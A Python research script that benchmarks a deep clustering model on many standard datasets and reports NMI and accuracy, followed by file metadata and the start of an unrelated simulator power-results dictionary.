print('Group accuracy: {:.2f}%'.format(acc * 100))
return acc,nmi
else:
return group_label(target, labels)
def testPath(loader,averaging=False):
target, inputs, nfeat, nsamples = loader.path()
inputs = torch.from_numpy(inputs).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 8
batchsize = 10
Nfactor = 5
model = dmClustering(shapeNet(), Nfactor=Nfactor,Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=20, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
if not averaging:
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
return acc, nmi
else:
return group_label(target, labels)
def testCompound(loader,averaging=False):
target, inputs, nfeat, nsamples = loader.compound()
inputs = torch.from_numpy(inputs).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 22
batchsize = 50
Nfactor = 4
model = dmClustering(shapeNet(), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=14, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
if not averaging:
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
# print('targets:', ''.join(str(t) for t in target))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
return acc,nmi
else:
return group_label(target, labels)
class bioNet(nn.Module):
def __init__(self,dim=8,winit=None):
super(bioNet, self).__init__()
self.dim=dim
self.feature=nn.Sequential(
nn.Linear(dim, 256),
)
if winit=='xavier':
for m in self.modules():
if isinstance(m, nn.Linear):
nn.init.xavier_uniform_(m.weight,gain=5)
def forward(self,x1):
x1 = x1.view(x1.size(0), self.dim)
x1=self.feature(x1)
return x1
def testYeast(loader, averaging=False):
target, data, nfeat, nsamples = loader.yeast()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 40
batchsize = 40
Nfactor = 20
model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor,Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
if not averaging:
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
# print('targets:', ''.join(str(t) for t in target))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
return acc,nmi
else:
return group_label_acc(target, labels)
def testGlass(loader,averaging=False):
target, data, nfeat, nsamples = loader.glass()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 40
batchsize = 40
Nfactor = 20
model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
if not averaging:
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
# print('targets:', ''.join(str(t) for t in target))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
return acc,nmi
else:
return group_label_acc(target, labels)
def testEcoli(loader, averaging=False):
target, data, nfeat, nsamples = loader.ecoli()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 30
batchsize = 50
Nfactor = 10
model = dmClustering(bioNet(dim=nfeat,winit='xavier'), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
if not averaging:
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
print('targets:', ''.join(str(t) for t in target))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
return acc,nmi
else:
return group_label(target, labels)
def testMove(loader,averaging=False):
target, data, nfeat, nsamples = loader.movement()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 20
batchsize = 50
Nfactor = 8
model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
if not averaging:
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
return acc,nmi
else:
return group_label(target, labels)
def testCoil(loader):
target, data, nfeat, nsamples = loader.coil()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 100
batchsize = 50
Nfactor = 0
model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
return acc,nmi
def testStock(loader):
target, data, nfeat, nsamples = loader.stock()
print(nsamples, ' samples', nfeat, ' dimensions ,targets:', Counter(target))
data = data[:60]
target = target[:60]
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
Nclusters = len(ut)
Nsparse = 10
batchsize = 50
Nfactor = 5
model = dmClustering(bioNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc,nmi
class objectNet1d(nn.Module):
def __init__(self,dim):
super(objectNet1d, self).__init__()
self.dim=dim
self.feature=nn.Sequential(
nn.Linear(dim, 1024),
)
def forward(self, x):
x= x.view(-1,self.dim)
x = self.feature(x)
return x
def testCoil20(loader, pretrained=True):
target, data, nfeat, nsamples = loader.coil20()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
modelFile = './coil20_metricNet.dat'
net = objectNet1d(dim=nfeat)
if pretrained:
net.load_state_dict(torch.load(modelFile))
model = dmClustering(net, Nclusters=Nclusters)
tau = 100000.0
dfx, _ = model.metricLearner(inputs, torch.from_numpy(target), Nepochs=1000, bsize=1000, tau=tau)
torch.save(net.state_dict(), modelFile)
# dfx=tau-pwise_Euclid(net(inputs))
labels = metricCluster(dfx, ratio=tau / 2)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc,nmi
class faceNet1d(nn.Module):
def __init__(self,dim=256):
super(faceNet1d, self).__init__()
self.dim=dim
self.feature=nn.Sequential(
nn.Linear(dim, 512),
#nn.Tanh(),
#nn.Linear(1024,256)
)
for m in self.modules():
if isinstance(m, nn.Linear) or isinstance(m,nn.Conv1d):
nn.init.xavier_uniform_(m.weight)
def forward(self,x1):
x1=x1.view(x1.size(0),self.dim)
x1=self.feature(x1)
return x1
def testUmist(loader):
target, data, nfeat, nsamples = loader.umist()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 10
batchsize = 50
Nfactor = 20
model = dmClustering(faceNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc,nmi
def testJaffe(loader,pretrained=True):
target, data, nfeat, nsamples = loader.jaffe()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
modelFile = './jaffe_metricNet.dat'
net = faceNet1d(dim=nfeat)
if pretrained:
net.load_state_dict(torch.load(modelFile))
model = dmClustering(net, Nclusters=Nclusters)
tau = 100000.0
dfx, _ = model.metricLearner(inputs, torch.from_numpy(target), Nepochs=1500, bsize=1000, tau=tau)
torch.save(net.state_dict(), modelFile)
labels = metricCluster(dfx, ratio=tau / 2)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc,nmi
def testUsps(loader,pretrained=True ):
target, data, nfeat, nsamples = loader.usps()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
modelFile = './USPS_metricNet.dat'
net = faceNet1d(dim=nfeat)
if pretrained:
net.load_state_dict(torch.load(modelFile))
model = dmClustering(net, Nclusters=Nclusters)
tau = 100000.0
dfx, _ = model.metricLearner(inputs, torch.from_numpy(target), Nepochs=1500, bsize=1000, tau=tau)
torch.save(net.state_dict(), modelFile)
labels = metricCluster(dfx, ratio=tau / 2)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def testMSRCV(loader):
target, data, nfeat, nsamples = loader.msrcv()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 10
batchsize = 80
Nfactor = 10
model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def testCal7(loader):
target, data, nfeat, nsamples = loader.cal7()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 20
batchsize = 50
Nfactor = 10
model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def testCal20(loader):
target, data, nfeat, nsamples = loader.cal20()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 20
batchsize = 50
Nfactor = 10
model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def testORL(loader):
target, data, nfeat, nsamples = loader.orl()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 10
batchsize = 80
Nfactor = 10
model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def testCol20(loader):
target, data, nfeat, nsamples = loader.col20()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 20
batchsize = 50
Nfactor = 10
model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def testEYB10(loader):
target, data, nfeat, nsamples = loader.eyb(10)
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 80
batchsize = 100
Nfactor = 10
model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def testEYB20(loader):
target, data, nfeat, nsamples = loader.eyb(20)
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 80
batchsize = 100
Nfactor = 15
model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def testEYB30(loader):
target, data, nfeat, nsamples = loader.eyb(30)
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 50
batchsize = 100
Nfactor = 20
model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def testCol100(loader):
target, data, nfeat, nsamples = loader.col100()
inputs = torch.from_numpy(data).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, 'samples,', nfeat, 'dimensions,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 20
batchsize = 50
Nfactor = 10
model = dmClustering(objectNet1d(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
ctr = Counter(labels)
print('clusters:', ''.join(str(l) for l in labels))
print(ctr)
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
print('Number of clusters: {:d} '.format(len(ctr)))
return acc, nmi
def centering(inputs):
N,dim=inputs.size()
return inputs-inputs.mean(0).expand(N,dim)
def spcl(dfx,Nc,Nfactor):
N = dfx.size(0)
S = ((dfx + dfx.t()) / 2).float()
degs = S.sum(1)
Ds = torch.eye(N)
Ds[Ds == 1] = degs
Ls = Ds - S
D = torch.eye(N)
degs[degs == 0] = 0.000001
D[D == 1] = 1 / (degs ** .5)
Ls = D.mm(Ls).mm(D)
_, v = Ls.symeig(eigenvectors=True)
F = v[:, :Nfactor]
#print(F[:10, :])
return KMeans(n_clusters=Nc, random_state=0).fit(F.detach().numpy()).labels_,F.detach().numpy()
def testMoons(tosave=False):
inputs, target = datasets.make_moons(n_samples=100, noise=.1)
nsamples, nfeat = inputs.shape
inputsTensor = torch.from_numpy(inputs).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, ' samples', nfeat, ' dimensions ,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 10
Nfactor = 0
batchsize = 10
model = dmClustering(shapeNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputsTensor, Nepochs=10, Ninner=1, sparsity=Nsparse, bsize=batchsize,
lamda=1)
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
# labels_kms=KMeans(n_clusters=2).fit(inputs).labels_
model = SpectralClustering(n_clusters=2).fit(inputs)
labels_spcl = model.labels_
ss = torch.from_numpy(model.affinity_matrix_).float()
N = ss.size(0)
degs = ss.sum(1)
Ds = torch.eye(N)
Ds[Ds == 1] = degs
Ls = Ds - ss
_, v = Ls.symeig(eigenvectors=True)
f_spcl = v[:, :2].numpy()
fig, ax = plt.subplots(ncols=5, figsize=(20, 3))
c = ['b', 'r', 'm']
for i, l in enumerate(np.unique(target)):
id = (l == target)
ax[0].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i])
ax[0].set_title('Two Moons')
for i, l in enumerate(np.unique(labels_spcl)):
id = (l == labels_spcl)
ax[1].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i])
ax[1].set_title('Spectral Clustering')
for i, l in enumerate(np.unique(labels)):
id = (l == labels)
ax[2].scatter(f_spcl[id, 0], f_spcl[id, 1], marker='.', color=c[i])
ax[2].set_title('Learnt Subspace')
for i, l in enumerate(np.unique(labels)):
id = (l == labels)
ax[3].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i])
ax[3].set_title('Proposed Clustering')
for i, l in enumerate(np.unique(labels)):
id = (l == labels)
ax[4].scatter(F.detach().numpy()[id, 0], F.detach().numpy()[id, 1], marker='.', color=c[i])
ax[4].set_title('Learnt Subspace')
plt.tight_layout()
if tosave:
fig.savefig('ClusteringCompare-TwoMoons.png')
return 1
else:
plt.show(block=False)
time.sleep(5)
return 1
def testThreeCircles(tosave=False):
inputs1, target1 = datasets.make_circles(n_samples=200, noise=0.05, factor=.3)
inputs2, target2 = datasets.make_circles(n_samples=200, noise=0.05, factor=.6)
target2[target2 == 1] = 2
inputs = np.vstack((inputs1, inputs2[target2 == 2, :]))
target = np.hstack((target1, target2[target2 == 2]))
nsamples, nfeat = inputs.shape
inputsTensor = torch.from_numpy(inputs).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, ' samples', nfeat, ' dimensions ,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 10
Nfactor = 0
batchsize = 25
model = dmClustering(shapeNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputsTensor, Nepochs=8, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
model = SpectralClustering(n_clusters=2).fit(inputs)
labels_spcl = model.labels_
ss = torch.from_numpy(model.affinity_matrix_).float()
N = ss.size(0)
degs = ss.sum(1)
Ds = torch.eye(N)
Ds[Ds == 1] = degs
Ls = Ds - ss
_, v = Ls.symeig(eigenvectors=True)
f_spcl = v[:, :2].numpy()
fig, ax = plt.subplots(ncols=5, figsize=(20, 3))
c = ['b', 'r', 'm']
for i, l in enumerate(np.unique(target)):
id = (l == target)
ax[0].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i])
ax[0].set_title('Three Circles')
for i, l in enumerate(np.unique(labels_spcl)):
id = (l == labels_spcl)
ax[1].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i])
ax[1].set_title('Spectral Clustering')
for i, l in enumerate(np.unique(labels)):
id = (l == labels)
ax[2].scatter(f_spcl[id, 0], f_spcl[id, 1], marker='.', color=c[i])
ax[2].set_title('Learnt Subspace')
for i, l in enumerate(np.unique(labels)):
id = (l == labels)
ax[3].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i])
ax[3].set_title('Proposed Clustering')
for i, l in enumerate(np.unique(labels)):
id = (l == labels)
ax[4].scatter(F.detach().numpy()[id, 0], F.detach().numpy()[id, 1], marker='.', color=c[i])
ax[4].set_title('Learnt Subspace')
plt.tight_layout()
if tosave:
fig.savefig('ClusteringCompare-ThreeCircles.png')
return 1
else:
plt.show(block=False)
time.sleep(5)
return 1
def testBlobs(tosave=False):
inputs, target = datasets.make_blobs(n_samples=600, cluster_std=[2.0, 1.5, 1.0])
nsamples, nfeat = inputs.shape
inputsTensor = torch.from_numpy(inputs).unsqueeze(1).float()
ut = np.unique(target)
print(nsamples, ' samples', nfeat, ' dimensions ,targets:', Counter(target))
Nclusters = len(ut)
Nsparse = 10
Nfactor = 0
batchsize = 25
model = dmClustering(shapeNet(dim=nfeat), Nfactor=Nfactor, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputsTensor, Nepochs=6, Ninner=1, sparsity=Nsparse, bsize=batchsize, lamda=1)
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
print('Group accuracy: {:.2f}%'.format(acc * 100))
model = SpectralClustering(n_clusters=2).fit(inputs)
labels_spcl = model.labels_
ss = torch.from_numpy(model.affinity_matrix_).float()
N = ss.size(0)
degs = ss.sum(1)
Ds = torch.eye(N)
Ds[Ds == 1] = degs
Ls = Ds - ss
_, v = Ls.symeig(eigenvectors=True)
f_spcl = v[:, :2].numpy()
fig, ax = plt.subplots(ncols=5, figsize=(20, 3))
c = ['b', 'r', 'm']
for i, l in enumerate(np.unique(target)):
id = (l == target)
ax[0].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i])
ax[0].set_title('Three Blobs')
for i, l in enumerate(np.unique(labels_spcl)):
id = (l == labels_spcl)
ax[1].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i])
ax[1].set_title('Spectral Clustering')
for i, l in enumerate(np.unique(labels)):
id = (l == labels)
ax[2].scatter(f_spcl[id, 0], f_spcl[id, 1], marker='.', color=c[i])
ax[2].set_title('Learnt Subspace')
for i, l in enumerate(np.unique(labels)):
id = (l == labels)
ax[3].scatter(inputs[id, 0], inputs[id, 1], marker='.', color=c[i])
ax[3].set_title('Proposed Clustering')
for i, l in enumerate(np.unique(labels)):
id = (l == labels)
ax[4].scatter(F.detach().numpy()[id, 0], F.detach().numpy()[id, 1], marker='.', color=c[i])
ax[4].set_title('Learnt Subspace')
plt.tight_layout()
if tosave:
fig.savefig('ClusteringCompare-ThreeBlobs.png')
return 1
else:
plt.show(block=False)
time.sleep(5)
return 1
if __name__=="__main__":
folder = "./data"
loader = dataReader(folder=folder)
testSpiral(loader)
testPath(loader)
testCompound(loader)
testYeast(loader)
testGlass(loader)
testYeast(loader)
testEcoli(loader)
testMove(loader)
testCoil(loader)
testStock(loader)
testCoil20(loader)
testEYB10(loader)
testEYB20(loader)
testEYB30(loader)
testCal7(loader)
testCal20(loader)
testMSRCV(loader)
testORL(loader)
testCol20(loader)
testCol100(loader)
testBlobs()
testMoons()
testThreeCircles()
testJaffe(loader,pretrained=True)
testUsps(loader,pretrained=True)
| 40.985697
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| 0.630849
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0
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5b25e423e287221ea7925e7bc808c299cd760d0b
| 68,586
|
py
|
Python
|
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_mylocality/cmp_hmmer/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_mylocality/cmp_hmmer/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_mylocality/cmp_hmmer/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
power = {'BUSES': {'Area': 1.33155,
'Bus/Area': 1.33155,
'Bus/Gate Leakage': 0.00662954,
'Bus/Peak Dynamic': 0.0,
'Bus/Runtime Dynamic': 0.0,
'Bus/Subthreshold Leakage': 0.0691322,
'Bus/Subthreshold Leakage with power gating': 0.0259246,
'Gate Leakage': 0.00662954,
'Peak Dynamic': 0.0,
'Runtime Dynamic': 0.0,
'Subthreshold Leakage': 0.0691322,
'Subthreshold Leakage with power gating': 0.0259246},
'Core': [{'Area': 32.6082,
'Execution Unit/Area': 8.2042,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 3.77876e-06,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.202692,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
